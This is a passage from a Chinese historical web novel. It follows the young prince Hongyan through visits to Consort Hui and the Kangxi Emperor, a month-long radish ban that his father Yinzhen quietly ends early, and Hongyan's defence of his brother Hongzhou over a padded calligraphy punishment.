他许久不去延禧宫了,惠妃一个人也是冷清了些。 康熙笑着将弘晏放在了地上:“好,那便去吧。” “嘿嘿,蟹蟹皇玛法,窝很快回来的。”弘晏说完,便和康熙挥手拜拜了。 御前的小太监连忙跟上去。 —— 延禧宫内,惠妃坐在小榻上正无聊的插花,那矮桌上洒满了叶子。 宫女进门禀道:“娘娘,弘晏阿哥来了。” 惠妃一愣,转而笑吟吟道:“快,快请小阿哥进来。” 惠妃说着,又挥了下手,宫女赶忙上前来将矮桌收拾干净。 片刻后,弘晏迈着小步子进来,冲着檀木小榻上的惠妃拱手道:“惠玛嬷好。” 弘晏话音刚落,卧在墙角假寐的小京巴便跑过来冲着弘晏兴奋的喊道:“汪,汪。” 弘晏见小京巴的尾巴摇的高高的,看着自己的眼睛也亮亮的,便蹲下去抬手去摸小京巴,谁知小京巴很配合的卧在了地上。 弘晏边给小京巴顺毛,边道:“嘿嘿,泥还记得窝啊?” 惠妃笑眯眯道:“狗是有灵性的,你记得它,它自然也记得你了。” 弘晏认同的点点头。 少顷,弘晏便坐在了小榻上,而小京巴就乖乖的卧在脚踏上,抬头看着弘晏。 宫女端着铜盆过来,弘晏用澡豆洗干净了手。 惠妃将白瓷碟子往弘晏面前推了推:“福宝,尝尝惠玛嬷亲手做的杏干儿。” 弘晏好奇的拿起来一个看起来皱皱巴巴的杏干直接放了嘴里,不过咀嚼了两下,小脸立马皱成了一个苦瓜样儿:“好酸啊。” 惠妃见状,赶忙将帕子递过去,好让弘晏吐出来,又命宫女端来一碗牛乳,再将那碟子杏干撤了下去。 弘晏“咕咚咕咚”喝了两口牛乳,总算是把那股子酸不拉几的味道压下去了。 末了,弘晏怕惠妃误会,还不忘对着惠妃解释:“惠玛嬷,窝不爱吃酸的。” 惠妃笑呵呵道:“惠玛嬷知道,吃金丝蜜枣吧,这个甜。” 金丝蜜枣? 弘晏瞧了瞧白瓷碟子里那琥珀色的枣子,这虽然不是糖,但也是用糖做出来的,他还是不吃为好。 弘晏摇了摇小脑袋:“额凉不让窝吃糖,窝喝牛乳就好。” 话说着,弘晏端起了牛乳一饮而尽。 稍后,弘晏便在延禧宫的院子里跟小京巴玩了起来,惠妃便坐在廊下瞧着。 太阳马上就要落山了,弘晏知道自己该回去了,便向惠妃告辞。 惠妃让宫女拿出来一个锦盒,要将锦盒里面的玉葫芦吊坠给弘晏戴上,弘晏摆手道:“惠玛嬷,您还是自己留着吧,窝不能要。” 他来看望惠妃,是因为自己之前答应过,而不是为了图惠妃的东西。 惠妃柔声道:“福宝来看惠玛嬷,惠玛嬷高兴,这是惠玛嬷的心意,福宝可不能推辞啊。” 话说着,惠妃便将玉葫芦吊坠戴在了弘晏的脖子上,夸道:“好看,福宝戴上正合适不过了。” 弘晏软软道:“蟹蟹惠玛嬷。” 惠妃摸了摸弘晏的小脑袋:“回去吧。” 第98章 第98章害相思病 弘晏回到乾清宫时,便看见胤禛正在和康熙下棋。 弘晏抬起步子哒哒跑过去,开心的喊道:“阿玛。” 胤禛一扭头,便注意到了弘晏脖子上戴着的玉葫芦吊坠。 弘晏发现了胤禛的视线后,开口道:“这是惠玛嬷送窝的,窝本来不想要的,惠玛嬷执意要给。” 当着康熙和胤禛的面儿,把话说清楚也是好的。 康熙闻言,开了口:“既然是惠妃的一片心意,好生收着就是。” 胤禛微微颔首。 这时,弘晏拉着胤禛的手,另一只手则指向棋盘,满是骄傲的扬着小脸儿说道:“阿玛,阿玛,窝下午和皇玛法下棋,可是赢了皇玛法的。” 胤禛嘴角扬起:“是你皇玛法放了水吧。” 弘晏一听这话,可就不乐意了,嘟着小嘴道:“才没有呢,窝是凭实力赢的。” 话说完,弘晏松开胤禛的手,转而跑过去拉康熙的手:“皇玛法,泥快告诉阿玛,窝是怎么赢的。” 康熙揉了揉弘晏的小脑袋,看向胤禛笑道:“不错,福宝的五子棋下的好,是真的赢了朕。” 胤禛一愣? 原来下的是五子棋啊。 胤禛再去看弘晏时,小家伙已然骄傲的挺起了小胸膛。 康熙见状,笑呵呵的继续夸道:“福宝聪慧乖巧,朕考校了福宝的《百家姓》和《千字文》,对答如流很是不错,就连小二十三给他糖吃,福宝都记得他额娘的叮嘱,一口都没吃呢。” 康熙的话说完,弘晏更是骄傲了,小下巴也抬的更高了,还不忘斜眼瞧了胤禛一下。 听听,听听,他可是很优秀的宝宝。 胤禛心里美,面上还是谦逊的颔首道:“汗阿玛谬赞了。” 康熙饮了口茶,看了一眼窗外的落日,又道:“用了晚膳再带着福宝回去吧。” 胤禛闻言,起身打千儿道:“谢汗阿玛赐膳。” 康熙抬了一下右手,示意胤禛起身:“不必多礼了。” 随即,康熙又看向弘晏,慈祥的问道:“福宝,想吃什么?” 弘晏歪着小脑袋想了想:“吃肉。” 康熙哈哈大笑:“好,梁九功,快去传膳。” 等待御膳的时间,康熙和胤禛继续下这盘棋,弘晏则托着小脑袋坐在一旁看着。 这围棋可比五子棋复杂多了,看不懂呢,弘晏便默默的在心里数起棋盘上白子和黑子的数量来。 忽而,胤禛笑道:“汗阿玛的棋艺高超,儿臣远不及矣。” 弘晏眨巴了眨巴眼睛,便宜阿玛这就输了? 下一瞬,梁九功的声音响起:“皇上,御膳已备好了。” 康熙应了一声。 随即,梁九功大手一挥,小太监们捧着托盘鱼贯而入。 弘晏笑嘿嘿道:“皇玛法赢了阿玛,窝又赢了皇玛法,还是窝最腻害。” 胤禛正欲说话时,康熙却先开了口,看着弘晏的眼什么满是宠溺:“是了,朕的小福宝青出于蓝而胜于蓝,是最厉害的。” 话落,康熙一把抱起了弘晏,往八仙桌的方向去。 一旁的胤禛已然看呆了。 不多时,一顿晚膳热热闹闹的吃完,胤禛抱着弘晏向康熙告辞。 弘晏一边不舍的朝着康熙挥手,一边奶呼呼的嘱咐道:“皇玛法,看奏折不要太晚,要多睡觉觉。” 胤禛心里一惊。 而康熙听了这话却笑眯眯道:“好,皇玛法都记下了。” 一旁的梁九功看向弘晏时,也是一脸的慈祥。 弘晏阿哥可真是聪慧懂事呢,怪不得皇上这般喜欢。 出了乾清宫,胤禛怀抱着弘晏径直出宫去,弘晏的两条小胳膊环着胤禛的脖子,开口道:“阿玛都听到皇玛法说的话了,窝可是很乖的。” 胤禛弯了弯嘴角:“嗯,今个儿是第一天,还有二十九天你就可以吃萝卜了。” 弘晏鼻子一皱,哼了哼,便再不理胤禛了。 这么狠心的话,便宜阿玛是怎么说出口的! 胤禛见状,笑了笑,而后加快了脚下的步子。 —— 永和宫内。 岚竹慢步到德妃身旁,出言禀报:“娘娘,四爷带着弘晏阿哥已然出宫了。” 德妃闻言,停了手里捻佛珠的动作,慢慢睁开眼眸,而后眼尾向上挑,哼道:“真是本宫的好儿子。” 岚竹笑着出声为德妃宽心:“娘娘,弘晏阿哥到底是皇上召进宫的,四爷只是去乾清宫接弘晏阿哥回府罢了。” 德妃冷冷道:“乾清宫去了,御花园去了,竟连不相干的延禧宫都去了,偏偏是不认得我这永和宫的门?” 四岁的小娃娃懂什么,还不是老四夫妇教的。 岚竹继续哄道:“娘娘,十四爷可是一直惦记着您呢,有什么好东西还不是眼巴巴的往永和宫送。” 听到岚竹提起胤禵,德妃的脸色才好看了些:“听说老十四病了?” 岚竹的脸上又堆满了笑容:“要不说咱们十四爷想的周全呢,眼下这时节,咱们十四爷自是能避就避了。” 德妃没再说话,闭上眼眸转而又捻起了手中的佛珠。 —— 回到正院,弘晏挣扎着从胤禛怀里下来,哒哒 的往屋子里跑:“额凉,窝回来了。” 乌拉那拉氏赶忙从小榻上起来,一把将奔向她的弘晏抱起来:“福宝,可用晚膳了?” 弘晏笑嘻嘻的点点头,随即又窝进乌拉那拉氏怀里,两只小胳膊搭在乌拉那拉氏的肩上。 乌拉那拉氏抱着弘晏坐在了檀木小榻上,胤禛则落坐在另一旁,随即,弘晏绘声绘色的给乌拉那拉氏讲起了今日在宫中的见闻。 胤禛喝着茶,静静地听着小家伙显摆。 夜深了,洗香香的弘晏又要赖在内室睡,这一回,胤禛便让弘晏躺在拔步床的最里侧,乌拉那拉氏躺在中间,他依然躺在最外侧。 没多久,里侧就传来弘晏均匀绵长的呼吸声,乌拉那拉氏抬手给弘晏掖了掖被子,随即又俯下身子亲了亲弘晏的小脸蛋儿。 乌拉那拉氏一只手撑着褥子侧躺着,另一只手去捏弘晏的小肉手,笑道:“福宝在宫里想必是玩累了,跟个小猪似的都打起小呼来了。” 瞧着倒是可爱的紧。 胤禛闻言,撑着褥子起身凑上去道:“福宝都睡了,你还动他做甚?” 乌拉那拉氏闻言,撇了撇嘴角:“一整日都没见着了,我这个做额娘的还不能多瞧两眼了。” 胤禛见状,歪着脑袋凑上去,亲了下乌拉那拉氏的嘴角。 乌拉那拉氏先是一愣,而后松开了弘晏的手,扭过脸一抬眸便瞧见了胤禛眼睛里那浓浓的欲,出声提醒道:“福宝还在这里呢。” 胤禛弯了弯嘴角:“福晋方才不是还说福宝睡的像小猪一般沉吗?” 见胤禛又要凑过去,乌拉那拉氏的脸颊飞快的染上了两坨红晕,抬手推搡着胤禛的胸膛:“那也不成啊。” 由于力量的悬殊,乌拉那拉氏终是被胤禛拉到了怀里,不过胤禛到底顾及着旁边睡着弘晏,没有彻底放纵自己,只是亲了亲便将乌拉那拉氏松开了。 翌日清晨,弘晏一睁眼,就在心里对自己念叨:不能吃萝卜的第二天。 还有二十八天,苦啊! 转眼又过了一天,弘晏继续在心里念叨:不能吃萝卜的第三天。 还有二十七天! 午膳摆了满满一桌子,乌拉那拉氏见弘晏不动筷子,便问道:“福宝,怎么不吃啊?” 弘晏的眼睛都没光了,耷拉着小脸说道:“窝不饿。” 亲爱的萝卜,你在哪里? 乌拉那拉氏劝吃的话还没有说出口,便听到“咕噜,咕噜”的声音响起。 没错,这声音是从弘晏的肚子发出来的。 弘晏红了脸,低头摸了摸自己不争气的肚子。 打脸来的太快。 乌拉那拉氏明白弘晏的小心思,便也乐意给弘晏留面子,装作什么都没有听到的样子,抬手给弘晏盛了一碗汤:“这莲藕排骨汤香的很,福宝快尝尝。” 弘晏看向面前的汤碗。 莲藕是白的,萝卜也是白的。 随即,弘晏抬手拿起汤碗里的羹匙舀了块萝卜放进嘴里咀嚼,开启自我洗脑模式。 这不是莲藕,这是萝卜,嘎嘣脆的萝卜。 到了晚上,胤禛黑着脸回了正院。 乌拉那拉氏见状,询问道:“爷这是怎么了?” 胤禛撩起衣袍坐在了小榻上,抬眼看向对面的乌拉那拉氏:“爷罚弘昼每日写一百个大字,前两日他倒是规规矩矩的写了,今个儿交上来的大字却有两种笔迹。” 这小子,是把他这个阿玛当成傻子糊弄不成。 乌拉那拉氏接话道:“爷的意思是,弘昼找了旁人帮写?” 胤禛饮了口茶润嗓子,而后重重的将茶盏放回去,哼道:“是弘历。” 乌拉那拉氏并不意外,随即又为弘昼说起好话来:“弘历与弘昼的字迹定然是大不相同的,弘昼这般做,怕是担心写不完大字,遭到爷的训斥罢了。” 胤禛只道:“弘昼要是知道怕,哪还敢胡作非为,弘历也是,爷教他们兄弟团结友爱也要看是遇上什么事情,如今竟帮着弘昼一起欺骗爷。” 乌拉那拉氏继续劝道:“弘历与弘昼都还小,日子还长,爷慢慢教就是了,旁人倒是想教儿子们明理好学,也得有才行啊。” 胤禛知晓乌拉那拉氏指的是老八胤禩,心情瞬间好多了,又道:“爷已经训斥了弘历与弘昼,叫弘昼重新写过,若明日再敢糊弄爷,爷可不饶他。” 坐在乌拉那拉氏身旁的弘晏托着小脑袋听完了夫妻俩的对话,在心里感叹道:他和弘昼真是命苦啊! 随即,弘晏抬眼道:“阿玛,额娘,窝去睡觉了。” 话说完,弘晏下了小榻,便要往耳房去,王乳娘连忙跟上去。 胤禛瞧着弘晏无精打采的背影,关切道:“福宝瞧着脸色不太好,可是病了?” 乌拉那拉氏笑着点头:“相思病。” 胤禛颦眉:“福晋,福宝才多大。” 他问的是正经事,福晋却与他玩笑。 乌拉那拉氏端起了手边的茶盏,弯了弯唇角:“谁说相思一定是在想人啊?” 胤禛先是一愣,而后便明白了,无奈笑道:“这孩子怕不是兔子变的。” 乌拉那拉氏将手里的茶盏放回到矮桌上,眼尾一挑,随即问道:“福宝是兔子,那爷是什么?” 胤禛笑了,站起身来到乌拉那拉氏面前:“爷是吃羊的狼。” 话音落下,胤禛打横抱起乌拉那拉氏往内室去。 而弘晏躺在耳房的拔步床上却丝毫没有睡意,两只眼睛望着床顶的帐幔,对自己进行催眠:“一只萝卜,两只萝卜,三只萝卜……” 第99章 第99章寄托相思 翌日清晨,乌拉那拉氏带着弘晏吃完早膳,便要教弘晏继续学《千字文》了。 弘晏人在乌拉那拉氏面前坐着,心却早就飞走了。 昨晚上睡不着,他就一直数萝卜催眠自己,可真的睡着了,却做了一场梦,梦见自己在吃萝卜宴,便宜阿玛还给自己造了一个萝卜屋,连床都是萝卜堆成的,可清晨睡醒时,他才发现枕头上湿了一大片,都是他流的口水。 “福宝,福宝?” 乌拉那拉氏的呼唤声将弘晏的思绪拉回了现实。 弘晏抬眼问道:“怎么了,额凉?” 乌拉那拉氏将手中的书放下,笑道:“这话,额娘该问你才对。” 问他? 那他可就直说了。 “额凉,窝不想背书,窝要出去玩。”弘晏撅着小嘴道。 他已经熬过了不能吃糖的日子,现在对糖已然没什么欲望了,可如今连萝卜都吃不了,还要苦哈哈的背书,他实在是受不了了。 乌拉那拉氏耐心哄道:“福宝乖,背完这段书再玩,好不好?” 弘晏看着乌拉那拉氏,一本正经 道:“窝会背。” 乌拉那拉氏自是不信的:“额娘才教你读了一遍,你哪里就能会背了呢?” 弘晏见状,伸手将矮桌上的书拿起来,快速扫了一遍而后又将书还给乌拉那拉氏,便摇头晃脑背了起来。 乌拉那拉氏先是一惊,而后连忙对照着这一页的文字。 最后一个字音落下,弘晏云淡风轻道:“额娘,窝可以出去玩了吧。” 弘晏说完,不等乌拉那拉氏反应,就直接蹦下檀木小榻出去玩了。 乌拉那拉氏此刻还不敢相信,她只教了一遍,弘晏就一字不错且十分流利的给背出来了?! 出了屋子,弘晏呼吸着院子里的新鲜空气,整个人的心情都跟着舒畅多了。 这么好的天气,拘在屋子里背书有什么意思,只可惜自上回出了钻狗洞的事以后,乌拉那拉氏便令王乳娘一步不离的跟着他,要不然他还能去厨房偷一根萝卜解解馋。 弘晏的目光往远处看去,看到了那棵参天大树。 有了,没有现成的萝卜可以吃,那他捏几个萝卜玩总是可以的吧。 弘晏吩咐王乳娘拎一桶水来,又找了一根小木棒便开始在树底下和起泥来,经过几次的加土和加水以后,弘晏撸起袖子便开始捏泥萝卜。 两只小手先将萝卜大概的形状捏出来,而后在进行修型,最后又挖了泥块,先用手搓成长条再捏扁做成叶子的形状,最后再按到泥萝卜的头上,这样一根泥萝卜就大功告成了。 弘晏想把萝卜的品种和不同的型号都捏出来,这可是项大工程,所以弘晏蹲着蹲着便感觉小腿有些发麻,索性一屁股直接坐在了地上,反正他坐在大树底下也晒不到。 弘晏捏好的萝卜有序的排成了一排,足足有十几个,弘晏看着自己的作品还觉得差了点什么。 弘晏歪着小脑袋开始想,忽而灵光一现,有了。 把这些萝卜涂上不同的颜色,等晾干之后肯定就更逼真了。 不过他现在捏了这么多萝卜又累又渴的,还是先把这些泥萝卜放在大树底下,等他吃完了午膳再给泥萝卜上色。 弘晏想好以后,便从地上坐起来,抬起步子进屋子去。 乌拉那拉氏见了弘晏的模样,忍俊不禁道:“快,带阿哥下去沐浴更衣。” 弘晏从头到脚都是泥,木桶里的水都浑浊了,王乳娘换了好几回热水,又洒了花瓣,才将弘晏洗的干干净净的。 弘晏费了力气,吃午膳时可是狼吐虎咽的。 乌拉那拉氏笑着:“慢点吃,别噎着。” 弘晏一边点头,一边往嘴里塞鸡腿。 乌拉那拉氏看着弘晏说道:“福宝,午后可别再玩泥巴了。” 弘晏将嘴里的鸡腿咽下去,一本正经的对着乌拉那拉氏说道:“窝没玩泥巴,那是窝的作品。” 乌拉那拉氏配合道:“好好好,作品,都捏了一上午,下午歇歇吧,睡上一觉。” 弘晏摇摇小脑袋:“窝不困,窝还要涂色呢,涂完色作品才算完成。” 涂色? 乌拉那拉氏从头到脚打量了一番弘晏,上午捏泥巴成了小脏猫,下午再给泥巴涂色,那还不成了小花猫了。 “额凉,窝吃饱了,窝去涂色了。”弘晏说完,不给乌拉那拉氏反应的机会,便一溜烟儿的跑出去了。 乌拉那拉氏无奈摇头:“这孩子。” 王乳娘已然将颜料备好了,一共有十种颜色。 弘晏叫王乳娘把颜料桶放在一块围成一个圈,而后撸起袖子,左手拿着晒干的泥萝卜,右手拿着狼毫笔开始给萝卜上色。 少顷,苏培盛来了正院。 王乳娘见苏培盛往这边来,便微微屈膝给苏培盛行了礼。 苏培盛走到大树底下,弓腰颔首唤道:“六阿哥。” 弘晏上色的动作一顿,抬眼望向苏培盛:“苏苏,泥有事吗?” 苏培盛笑呵呵道:“回六阿哥,爷让我来请您去前院下棋。” 弘晏一听这话,直接拒绝:“不去,窝忙着呢。” 话说完,弘晏又低下头投入到自己的创作中去。 苏培盛一愣,不太理解:“忙?六阿哥您这不是在玩泥巴吗?” 这回弘晏连眼皮子也没抬:“泥不懂,这就是窝的正事。” 苏培盛一噎。 又看向了地上搁着的两个托盘。 六阿哥才涂了两个泥萝卜,这还有十好几个呢,要涂到什么时候去。 苏培盛笑着哄道:“好阿哥,这些等下棋回来也能玩,您还是快沐浴更衣吧,爷在书房等着您呢。” 弘晏见苏培盛不死心,说话的态度更坚决了:“不去就是不去。” 苏培盛瞧着弘晏是铁了心了不去,便只好转身抬步往正屋去了。 苏培盛进门打千儿道:“奴才给福晋请安。” 乌拉那拉氏笑着抬手:“苏公公请起。” 苏培盛笑呵呵道:“福晋,爷差奴才来请六阿哥去前院下棋。” 乌拉那拉氏明白了苏培盛的来意,言道:“福宝就在院子里玩,苏公公没瞧见?” 苏培盛开口道:“奴才自是瞧见了,也与六阿哥如实说了,可六阿哥不愿前去,奴才这好来求见福晋了。” 乌拉那拉氏闻此言,笑着开口:“福宝既然不愿去,苏公公就如实禀了爷吧。” 苏培盛诧异又迟疑:“这……” 他本想让福晋劝六阿哥的,福晋的话六阿哥总会听的,可福晋这是不打算插手了,也罢,他就硬着头皮回禀吧。 苏培盛掩下思绪,打千儿道:“奴才告退。” 望着苏培盛远去的背影,乌拉那拉氏弯了弯唇角。 胤禛罚弘晏一个月不许吃萝卜,馋得小家伙都捏起泥萝卜来寄托相思之情了,眼下小家伙与胤禛怄着气,她可不多事,胤禛自己惹出来的事,叫他自己平去吧。 这时,流萤迈步过来:“福晋,牛乳热好了。” 乌拉那拉氏点头:“给阿哥送去吧。” 弘晏坐在大树底下玩,虽说晒不着,可玩了那么久定然口渴了。 少顷,流萤又端着热牛乳回来了,福身道:“福晋,阿哥要喝西瓜汁。” 乌拉那拉氏笑了:“去准备吧。” 流萤颔首应声。 前院书房内,胤禛已然摆好棋盘等着弘晏了。 不多时,胤禛见着苏培盛一人进来却没看见弘晏的人影,便问道:“六阿哥呢?” 苏培盛只好将正院发生的事一五一十说了。 胤禛听完,将脸拉了下来。 在弘晏心里,自己这个亲阿玛还比不过地里长的萝卜。 胤禛有些气,起身便要冲去正院找弘晏去,可是走了两步后,胤禛细想之下又觉得不可行。 哪有老子上赶子找儿子去的。 不来便不来,弘晏还能一辈子不理自己不成。 胤禛扭脸看向了矮桌上放着的棋盘,皱眉道:“苏培盛,还不撤了。” 看着就心烦。 苏培盛应声,连忙去办。 胤禛转而在书架上拿了本书便坐回到书案后看,不过翻了两页,胤禛又将手里的书撂下了。 苏培盛知晓胤禛心情不好,笑吟吟的捧着茶盏过去。 胤禛接过了茶盏,掀起茶盖撇去茶汤上面漂浮的茶沫:“苏培盛,六阿哥有几日没吃萝卜了?” 胤禛问完,自顾自的喝茶。 苏培盛细细算起来,回禀道:“爷,今个儿是第四天了。” 胤禛抬眸问:“是吗?” 苏培盛观胤禛的神色,又揣摩起胤禛的心思,试探的回道:“奴才方才没说清楚,今个是第十天了。” 胤禛将手里的茶盏放回去:“十天?苏培盛你连日子就记不清了吗?” 苏培盛眼珠子转了转,又道:“爷说的是,奴才是糊涂了,今个儿是第十四天了。” 胤禛斜了苏培盛一眼,又拿了方才的那本书。 苏培盛见状,赶忙改口道:“爷恕罪,奴才是越发糊涂了,今个儿已然满一月了。” 胤禛“嗯”了一声,将手里的书翻过一页:“既然满一月了,今晚爷去正院用膳,叫膳房的人做上一道冰糖萝卜、一道萝卜羊肉汤、一道牛肉酥饼,再加一道炙烤梅花肉。” 苏培盛颔首:“嗻,奴才这就去吩咐。” 方才爷点的这些菜,可都是六阿哥素日爱吃的。 另一边,弘晏将全部的泥萝卜涂色晒干之后,便叫王乳娘端进来给乌拉那拉氏看。 乌拉那拉氏瞧着王乳娘端着的托盘里那放的满满当当的五颜六色的泥萝卜,有些惊艳,弘晏这手艺都可以以假乱真了。 弘晏骄傲的抬起头:“额凉,窝腻不腻害?” 乌拉那拉氏宠溺道:“厉害是厉害,不过小花猫得赶快洗澡了。” 这颜料弄的全身都是,可不是一个活脱脱的小花猫嘛。 第100章 第100章投桃报李 弘晏沐浴更衣完从净室出来便闻到了一股萝卜的香味。 彼时,弘晏还以为自己是太想念萝卜而闻错了味道。 直到弘晏坐在了八仙桌旁,看清楚了桌子上摆着的菜肴,又以为自己是眼花而产生了幻觉,忙抬起手揉了揉眼睛后,迟疑的看向乌拉那拉氏:“额凉,晚膳有萝卜?!” 乌拉那拉氏瞧着弘晏不敢相信的模样,笑着开口解释道:“这是你阿玛命人准备的。” “阿玛?” 弘晏的话音刚落,胤禛已然走了进来:“一月罚期已满,福宝从今晚起便可以吃萝卜了。” 胤禛说着,便落座在了弘晏身旁。 一月期满? 可是今天不是才第四天吗? 弘晏看 了看胤禛,又望向了乌拉那拉氏。 乌拉那拉氏笑而不言。 弘晏又扭过脸看胤禛,胤禛将盛好的萝卜羊肉汤放在了自己面前。 胤禛抬手摸了摸弘晏的小脑袋:“快吃吧。” 弘晏终于明白了。 肯定是他午后拒绝见便宜阿玛,便宜阿玛怕自己跟他长久的怄气下去,所以找了个台阶下了。 萝卜,终于可以吃萝卜了! 弘晏赶忙拿起调羹舀起块萝卜就往嘴里送:“嘶”,弘晏砸巴了一下嘴。 好烫啊! 乌拉那拉氏见状,出声提醒:“福宝,慢些,吹吹再吃。” “知道。”弘晏说完,鼓起嘴巴吹凉了调羹里的萝卜,便送进嘴里去。 “萝卜真好吃。”弘晏说完,又去夹盘子里的冰糖萝卜。 胤禛往弘晏的碟子里又夹了块炙烤梅花肉:“慢些吃,无人与你抢。” 弘晏哼了哼,左手拿着牛肉酥饼,右手拿着调羹舀萝卜羊肉汤喝。 乌拉那拉氏瞧着面前的父子俩,轻轻摇了摇头。 小家伙可不是那么好哄的。 到了晚上就寝的时候,胤禛大手一伸将弘晏捞进自己怀里,见弘晏还要挣扎着去乌拉那拉氏怀里,胤禛便道:“福宝不喜欢阿玛哄你睡,那萝卜从明日起还是免了为好。” 弘晏一听这话,立马趴在了胤禛的胸膛上,眨着星星眼笑嘿嘿道:“稀罕,窝最稀罕跟阿玛睡了。” 好不容易能吃到嘴里的萝卜,可不能再跑走了。 还是见好就收吧。 弘晏的反应在胤禛的意料之中,翘着嘴角拍了拍弘晏的后背:“嗯,睡吧。” 乌拉那拉氏见状,给父子二人盖好了被子。 弘晏就这样趴在胤禛的身上呼呼大睡。 等到了第二日,弘晏主动去了书房找胤禛下棋,而小榻上的胤禛正在看弘昼昨日交上来的大字,脸色很是不好。 弘晏将小脸儿凑过去,看了看那纸上的墨迹,夸道:“阿玛,五锅锅的字好看的呀。” 不缺胳膊不少腿,而且还能看出来是什么字,算是好看的吧。 胤禛闻言,扭脸看向了弘晏。 他胤禛的儿子审美肯定是没有问题的,只怕是小家伙又怕自己加罚于弘昼,才夸起弘昼的字来。 胤禛思及此,抬手摸了摸弘晏的头顶。 转而,胤禛又低眸接着看弘昼写的大字。 弘昼顽皮又偷懒耍滑,功课与弘时、弘历相较之下是最差的,大字也是。 他之所以罚弘昼写大字也正因如此。 一张纸上面有二十个大字,弘昼分了五张来写。 胤禛看完这五张大字以后,却觉得这后四张大字的内容有些眼熟。 弘晏见胤禛眯起了眼睛,好像在思考着什么,遂问道:“阿玛,怎么了?” 胤禛将手上的五张大字放在矮桌上,才对着弘晏说道:“福宝,去将阿玛书案上放着的一摞大字拿过来。” “好。”弘晏爽快的接下了这个任务,而后哒哒的跑到了书案旁,踮起脚尖将压在一摞大字上面的蓝灰皮书拿开,而后抱着那摞大字跑到了胤禛面前。 胤禛又道:“福宝,数数有几张?” 弘晏眨了眨眼睛,便宜阿玛这是想考他? 弘晏低眸看向手里拿着的一摞大字,开始数起来:“一,二,三……” 胤禛就静静地看着弘晏数,待弘晏数到最后一张大字时所报出来的数量,果然验证了胤禛之前的猜想,弘昼每日交上来五张大字,可这一摞里却凭白的少了四张。 数完大字的弘晏也意识到事情有些不对劲了。 胤禛从弘晏手里拿过那摞大字放到矮桌上,又抬眼对着外面喊道:“苏培盛。” 下一瞬,苏培盛迈步进来:“爷,有何吩咐?” 胤禛言道:“叫弘昼过来。” 少顷,弘昼迈步进来,拱手道:“阿玛。” 胤禛举起五张大字给弘昼看:“弘昼,这五张大字都是你昨日亲手写的吗?” 弘昼已然注意到了矮桌上放着的一摞大字了,但还是忽闪着眼睛说道:“对啊,我写的手指头都酸了。” 胤禛眉头皱起,将五张大字重重拍在矮桌上,喝道:“还不说实话?” “我说的就是实话啊,三哥和四哥都瞧见我写大字的。”说到后面,弘昼有些底气不足了。 胤禛哼道:“这第一张大字的确是你昨日新写的,可后面的四张分明是你趁着来书房交大字的时候,从以前的一摞大字里拿出来充数的。” 这种小把戏还想在他面前蒙混过关。 胤禛将话说的明白,弘昼索性也不再演了,瘪着嘴道:“阿玛,朱师傅每日布置的功课我都做不完,再加上这一百个大字,我晚上不睡觉也写不完的,睡不好觉第二日上课没精神,朱师傅又要罚我,我只能另想法子了。” 弘晏见胤禛听着弘昼的狡辩之词,正欲发作时,便抬手扯了扯胤禛的袖子:“阿玛,字在精不在多,五锅锅写一百个不好的字,还不如写十个好的字有用呢。” 弘晏心里明白胤禛罚弘昼写大字的目的,可是弘昼抵触情绪严重,每日想破脑袋都是琢磨怎么应付胤禛的法子,长此以往,只会适得其反。 胤禛瞧着弘晏清澈的眸子和白嫩的脸蛋儿,顿了顿又看向弘昼,松口道:“罢了,看在福宝的面子上,从今日起,弘昼你每日只需写十个大字,但要用心去写,若还是写的这般敷衍潦草,爷就皮鞭伺候。” 弘昼连连点头。 而弘晏却笑嘿嘿的冲着弘昼眨了眨眼睛。 弘昼见状,也咧开了嘴憨笑。 胤禛瞧着两个儿子你来我往的小动作,出声道:“福宝,你送弘昼回去上课吧。” 两个小家伙定然有悄悄话要背着他说,他这个阿玛就留给他们兄弟俩一个单独的空间好了。 “好。”弘晏答应下来,便拉着弘昼的手出去了。 去学堂的路上,弘昼嬉笑道:“弟弟,还好有你在。” 要不然阿玛不可能这么容易就改了口的。 弘晏闻言,抬起手拍了拍自己的小胸膛:“锅锅对窝好,窝自然也对锅锅好。” “对了,这个给你。”弘昼说着,松开了弘晏的手,转而去掏自己的荷包。 弘晏瞧着一片片棕红色的薄片,好奇问:“这是什么?” “肉脯,我额娘自己做的,可好吃了。”弘昼说着,就将肉脯递给了弘晏。 弘晏拿着肉脯咬了一口,在弘昼期待的目光下,点头道:“好吃的。” 嚼劲十足,回味还有点微甜。 “嘿嘿,那都给你了。”弘昼说着,将自己的荷包解下来递给弘晏。 弘晏摇头:“太多了,锅锅留着吧。” 到底是耿格格亲手给弘昼做的,他图个新鲜尝尝就是了,怎么能都收下呢。 “从前我额娘只嫌我闹腾聒噪,可现在我搬到了前院住着,额娘定然是觉得冷清不习惯,隔三差五的就会给我送好吃的,弟弟你就留着吃吧。”弘晏解释完,便将荷包放到了弘晏手上。 弘晏见状,便将荷包收下了。 将弘昼送到学堂以后,弘晏便回了书房。 “阿玛,窝回来了。”弘晏哒哒跑过去说道。 胤禛出声问:“从书房到学堂的路才多远,你送弘昼就送了那么久?” 弘晏忽闪着眼睛:“窝和五锅锅好久不见了,自然有许多话说的。” 不等胤禛再问,弘晏就转移话题:“阿玛,窝们下棋吧。” 胤禛闻言,点头道:“今个儿阿玛便教你下围棋。” 半个时辰后,胤禛出声道:“今日便学到这里,明日还是这个时辰。” “好。”弘晏爽快答应,他觉得围棋还是蛮有意思的。 出了胤禛的书房,弘晏没急着回正院,而是去了耿格格的邀 月轩。 弘晏听院子里的丫鬟说耿格格在小厨房,便直接过去了:“耿姨凉,泥在做什么?” 瞧见弘晏,耿格格有些意外,随即笑着将卷起的袖子放下:“六阿哥来了,这里烟火味大,还是进屋吧。” 弘晏点点头,便迈步上了石阶。 耿格格询问道:“六阿哥,喝碗牛乳如何?” 弘晏脆生生的应了一声。 等牛乳上桌,弘晏捧着碗喝了一大口,而后将弘昼给自己的荷包拿了出来。 荷包是耿格格亲绣的,自然是一眼就认出来了。 耿格格笑着问道:“这荷包怎么在六阿哥这里?” 弘晏就简单的讲了一下方才在书房发生的事情。 耿格格听完,这心情就跟过山车一样七上八下的:“弘昼这孩子鬼主意多的很。” 耿格格嘟囔完,又对着弘晏说道:“六阿哥,你在王爷面前为弘昼美言,姨娘可要多谢你了。” 弘晏摆摆手:“姨凉和五锅锅对窝都很好,窝这叫,叫什么来着?” 弘晏突然卡壳,挠了挠小脑袋。 耿格格也不知晓弘晏想说什么,只是柔柔的笑着。 忽而,弘晏想起来了,眼睛一亮:“对,窝这叫投桃报李,姨凉不用客气的。” 耿格格倒是被弘晏这可爱模样给逗乐了。 这时,秋叶进来禀报:“格格,荷花糕做好了。” 